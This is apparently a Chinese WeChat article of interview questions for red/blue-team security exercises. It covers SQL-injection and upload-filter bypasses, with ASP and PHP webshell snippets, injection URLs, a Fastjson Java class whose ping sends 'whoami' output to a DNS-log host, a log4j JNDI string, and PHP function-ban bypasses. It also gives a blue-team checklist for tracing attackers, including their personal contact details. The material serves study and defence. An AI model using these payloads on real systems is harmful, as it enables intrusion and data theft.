免责声明
由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
欢迎关注本公众号,长期推送技术文章
前言
随着现在网络安全的不断发展,护网演练已经不再像以前那样,对于我们来说,比较的陌生。
无论是参加攻防演练中的防守方(蓝军),或者技术要求更高的攻击手(红军),都可以让我们得到很多新的理解与经验,在后期丰富简历参加求职寻找工作、清楚自己的技术发展方向等方面都有很大的帮助,除此之外,咱们还可以获得一笔不菲的报酬,一劳多得。
正因为如此,在咱们寻找HW职位的时间,多数需要通过面试进行定级。只要是面试,免不了的就会出现面试题这个概念,以下给大家分享一些往年自己在参加HW面试过程中所经历的问题,以及相应的解答方法,以备大家不时之需。
不同的面试官有不同的询问重点,可能红队渗透方向的多点,也有可能直接偏向于蓝队防守,流量分析,应急处置等
所以以下的知识点分的比较粗,大家可以按自己的理解进行进一步的区分
面试集锦
sql注入 waf绕过
-
大小写 (UnIOn SeleCT)
-
编码解码 (0x23、0x61656d696e、%73elect、%27、%0a、%00)
-
特殊符号 (表情符号、各种形状奇奇怪怪的符号)
-
函数替换 (substring、mid、substr、and = && 、 or = || ‘aaa’ like ‘aaa’)
-
注释符号混用 (--+、/**/、#、/*!select*/、/*!12345select*/
-
分块传输绕过 (Transfer-Encoding: chunked )
-
另类字符集绕过 (ibm037)and user>0-- 字符串与整形作对比报错)
-
数据库特性 (and user>0-- 字符串与整形作对比报错)
-
换行/N绕过 (select * from admin where name = N union select 1,2,3)
-
协议层绕过 (Content-Type为application/x-www-form-urlencoded 修改成 multipart/form-data)
-
垃圾数据溢出 (传输大量数据,超过waf识别的容量)
-
HTTP参数污染 (?id=1&id=2&id=3 php取最后一个)
文件上传 waf绕过
(1)通过filename换行来绕过检测
第一种:
Content-Disposition: form-data; name="file"; filename="1.p
hp"
第二种:
Content-Disposition: form-data; name="file"; file
name="1.php"
第三种:
Content-Disposition: form-data; name="file"; filename=
"1.php"
三种均可
使用多个等号绕过检测
Content-Disposition: form-data; name="file"; filename==="a.php"
增大文件大小,类似于sql注入的大量垃圾字符绕waf检测
Content-Disposition: form-data; aaaaaaaaaaaaaaaaaaaaa......aaaaaaaaaaaaaaaaaaaaa;name="file"; filename="a.php"
去掉双引号或替换为单引号绕过waf
第一种:
Content-Disposition: form-data; name=file1; filename=a.php
第二种:
Content-Disposition: form-data; name='file1'; filename="a.php"
有些只检测第一个firename,可以增加filename干扰拦截
Content-Disposition: form-data; name="file"; filename= ; filename="a.php"
混淆waf匹配字段 混淆form-data
Content-Disposition: name="file"; filename="a.php"
去除form-data
Content-Disposition: AAAAAAAA="BBBBBBBB"; name="file"; filename="a.php"
替换form-data为垃圾值
Content-Disposition: form-data ; name="file"; filename="a.php"
form-data后加空格
Content-Disposition: for+m-data; name="file"; filename="a.php"
form-data中加+
混淆 ConTent-Disposition
COntEnT-DIsposiTiOn: form-data; name="file"; filename="a.php"
大小写混淆
Content-Type: image/gif
Content-Disposition: form-data; name="file"; filename="a.php"
调换Content-Type和ConTent-Disposition的顺序
Content-Type: image/gif
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/gif
增加额外的头
AAAAAAAA:filename="aaa.jpg";
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/gif
增加额外的头
Content-Length: 666
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/gif
增加额外的头
双文件绕过,例如安全狗总以最后一个Content-Disposition中的值做为接收参数进行检测,一些中间件例如IIS6.0总是以第一个Content-Disposition中的值做为接收参数。
容器与WAF对Boundary要求规则不一致
Content-Type: multipart/form-data; boundary=---------------------------471****1141173****525****99
Content-Length: 253
-----------------------------471****1141173****525****99
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------471****1141173****525****99--
条件竞争,一些情况下在上传文件时,先上传到临时目录,然后再检测,检测到再删除,例如:可以上传生成一句话木马的文件
fputs(fopen('shell6666.php','w'),'eval($_POST[1]) '); @
上传同时疯狂重复发包访问此文件,就有可能会在文件被删除之前生成webshell文件a.php
数据库区分
网站类型与数据库的联系
asp:SQL Server,Access.net :SQL Serverphp:Mysql,PostgreSqljava:Oracle,Mysql
依据主机端口
如果可以对主机进行端口扫描,可以根据是否开启对应端口,来大概判断数据库类型。
Oracle
默认端口号:1521
SQL Server
默认端口号:1433
MySQL
默认端口号:3306
PostgreSql
默认端口号:5432
Access
Access数据库属于文件型数据库,所以不需要端口号。
数据库特有函数
len和length
在mssql和mysql中,返回长度值是调用len()函数;在oracle中则是通过length()来返回长度值。
@@version和version()
在mysql内,可以用@@version或是version()来返回当前的版本信息。version()>1 返回与@@version>1 相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql。
substring和substr
在mssql中可以调用substring。oracle则只可调用substr
根据注释符判断
“#”是MySQL中的注释符,返回错误说明该注入点可能不是MySQL,另外也支持’-- ',和/* */注释(注意mysql使用-- 时需要后面添加空格)
“null”和“%00”是Access支持的注释。
“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
根据数据库特有表进行判断1、mssql数据库
http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1
2、access数据库
http://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1
3、mysql数据库(mysql版本在5.0以上)
http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
4、oracle数据库
http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
mssql 提权函数
xp_cmdshell sp_oacreate
oracle提权
1、普通用户模式:
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
2、DBA用户模式:
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
3、注入提升模式:
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显
使用oracleshell工具进行提权
站库分离
1.从web网站打入进而打站库分离的数据库,内网渗透;
2.从数据库打入进而打站库分离的web网站,内网渗透。
一、从 web 入口渗透
从 web 入口通常就是通过网站的各种漏洞来getshell,比如文件上传、命令执行、代码执行、还有SQL注入写入一句话(into outfile、日志备份等)。
在获得 web 权限或者有诸如文件读取等漏洞时,我们还读数据库配置文件、对数据库内容分析、查找数据库备份,进而对数据库目标 ip 进行渗透,以便后续操作。
二、从数据库入口渗透
但是这里要说主要是外网暴露的数据库入口点弱口令;web网站SQL注入。
从数据库入口渗透,同样主要是为了获取更大的权限,或者扩展我们的渗透成果,比如从数据库里可以得到一些密码信息,用户名等,在后续的内网渗透中可以很有效的帮助我们。
站点是站库分离的,数据库和web不在同一台服务器上,这时候不能写入一句话木马通过web去连,因为路径没有用。如果是从web端找到的SQL注入,那么可以通过以下这些方式去做收集、获取权限。
MYSQL
(1)定位 web 端 ip 地址
通过查询 information_schema
库中的 PROCESSLIST
可以查看当前 MYSQL 的连接情况。因为 web 应用会产生查询数据库操作,所以在回显出来的 host
字段中会带回目标的 ip:port
。
select * from information_schema.PROCESSLIST;
在得到了web端的ip,我们可以进而对web端进行渗透。
MSSQL
(1) 判断是否站库分离
得到客户端主机名
select host_name();
得到服务端主机名
select @@servername;
根据结果判断是否分离,结果一样就可能站库同服务器,结果不一样就是站库分离。
前后端分离
webpack、vue等 查看未授权
fastjson不出网写静态文件
Fastjson不出网利用总结
https://xz.aliyun.com/t/12492
TemplatesImpl利用链
版本 1.2.24苛刻条件:
-
服务端使用parseObject()时,必须使用如下格式才能触发漏洞:JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
-
服务端使用parse()时,需要 JSON.parse(text1,Feature.SupportNonPublicField)这是因为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl需要赋值的一些属性为private 属性,要满足private属性的数据。所以比较苛刻,完全凭运气。
dnslog外带
package com.exmple;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Shell extends AbstractTranslet{
public static void main(String[] args) {
try {
Runtime.getRuntime().exec("ping `whoami`.xxxxxx.dnslog.cn");
} catch (IOException e) {
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws
TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {
}
}
网站目录写文件/静态资源(需要知道网站路径)
报错 查看存在的静态文件进行fuzz测试
fastjson
增加的autotype机制导致可以自己设置类型,攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。
Fastjson反序列化的Gadget需要无参默认构造方法或者注解指定构造方法并添加相应参数。使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理,@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。
常见的流量特征包含:
"@type":"com.xxx.XXX"
log4j
Apache Log4j 漏洞相关技术分析文章,可得知 log4j 攻击的一个关键词是 jndi
(也有包括像是 ${、ldap 等等),通过以下显示过滤表达式均可过滤出相关数据包。
${jndi: ldap://xxx.xxx.xxx.xxx:53/c}
-
log4jLog4j就是java的日志插件,处理日志存在”KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …入,流量特点就是数据包里面有”{“字段。
-
Shiro1.2.4 key是写在源码里的,找到key就能构造攻击链,1.2.4之后的775key是随机生成的,但我们还可以构造cookie,尝试构造攻击链。Shiro流量特征:数据包含有多个$$$符号,C参数含有base64编码。
-
Fastjson原理也是jdni注入 利用就是构造一个json字符,用@type指定一个类库,流量特征就是json autotype
-
Weblogicxml的反序列化漏洞,通过xmldecoder还是什么导致的xml解析代码执行。弱口令。流量特征:不加密,常见的出网协议也可以用。有很多T3协议的特征,文件操作和冰蝎一样有fileoutstream字段。
php站点webshell执行函数无回显
php函数禁用
寻找未禁用的函数
黑名单绕过,难免会有遗漏的函数,我们可以查看phpinfo文件,看看是否有未被禁用的危险函数
dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link
利用 LD_PRELOAD环境变量
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
方法一:劫持函数
1.找到一个可以启动新进程的函数,如mail()函数会启动新进程 /usr/sbin/sendmail
2.书写一个会被sendmail调用的C函数(函数最好不带参数),内部为恶意代码,编译为.so文件,如getuid()函数
3.运行PHP函数putenv(),设定我们的so文件为LD_PRELOAD,设置后新进程启动时将优先加载我们设置的so文件
4.运行PHP的mail()函数,这时sendmail会优点调用我们书写的getuid同名函数,达到劫持执行恶意代码的效果
预加载共享对象
在实际情况中,很多机器尚未安装或者禁止了sendmail功能,通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件,所以可以采用另一种方式绕过disable_function
系统通过LD_PRELOAD预先加载对象,如果加载时,就直接进行调用,就不用进行劫持绕过
使用条件
linux系统
putenv()
mail或error_log
目录可写,需要上传.so文件
利用PHP7.4 FFI
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。FFI的使用只需声明和调用两步
申明FFI,使用C语言的System函数$ffi = FFI::cdef("int system(char* command);");
bypass uac
如果大佬有好的方式可以评论区进行分享,如果实在想不到就是github上面的bypass uac工具集,通过他们进行绕过
溯源
通常情况下,接到溯源任务时,获得的信息如下
攻击时间
攻击 IP
预警平台
攻击类型
恶意文件
受攻击域名/IP
其中攻击 IP、攻击类型、恶意文件、攻击详情是溯源入手的点。
通过攻击类型分析攻击详情的请求包,看有没有攻击者特征,
通过获取到的 IP地址进行威胁情报查询来判断所用的IP具体是代理IP还是真实IP地址。
-
如端口扫描大概率为个人vps或空间搜索引擎,在接到大量溯源任务时可优先溯源。
-
如命令执行大概率为未经任何隐匿的网络、移动网络、接到脚本扫描任务的肉鸡,在接到大量溯源任务时可优先溯源。
-
如爬虫大概率为空间搜索引擎,可放到最后溯源。
-
如恶意文件可获得c2地址、未删除的带有敏感信息的代码(如常用ID、组织信息)、持续化控制代码(C2地址指在APT攻击里的命令与控制,若获取到C2地址可以使我们的溯源目标更有针对性)
-
持续化控制代码需要详细分析,如采用DGA域名上线的方法,分析出域名算法,预测之后的域名可有效减少损失,增加溯源面
溯源结果框架
在受到攻击、扫描之后,进行一系列溯源操作后,理想情况下想要获得如下数据,来刻画攻击者画像
姓名/ID:
攻击IP:
地理位置:
QQ:
微信:
邮箱:
手机号:
支付宝:
IP地址所属公司:
IP地址关联域名:
其他社交账号信息(如微博/src/id证明):
人物照片:
跳板机(可选):
在写溯源报告时,应避免单一面石锤,需要反复验证,避免中途溯源错人,各个溯源线索可以串起来,要具有逻辑性。
流量分析
这里可以参考文章:
常见Webshell&重大漏洞的流量特征
https://www.anquanclub.cn/27087.html
其他
关于面试过程中的问题,这个存在很多种问法,同一个漏洞,比如关于redis未授权写公钥的,如果面试官问的比较深入的话,可能人家会问你明明已经写入公钥了(暂时不考虑这个结论怎么出来的),但是后期再利用的时间,依旧提示需要输入密码,这是什么情况;什么情况下没办法写入,需要什么权限才可以进行正常写入……
这些问题正常情况下,没有什么面试宝典可能全部有记录,最好的办法还是自己复现一下这个漏洞,然后深入思考一下
最后祝大家在面试的时候都可以发挥的棒棒哒
原文始发于微信公众号(渗透云记):【面试题总结】HW面试,你准备的怎么样啦?
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论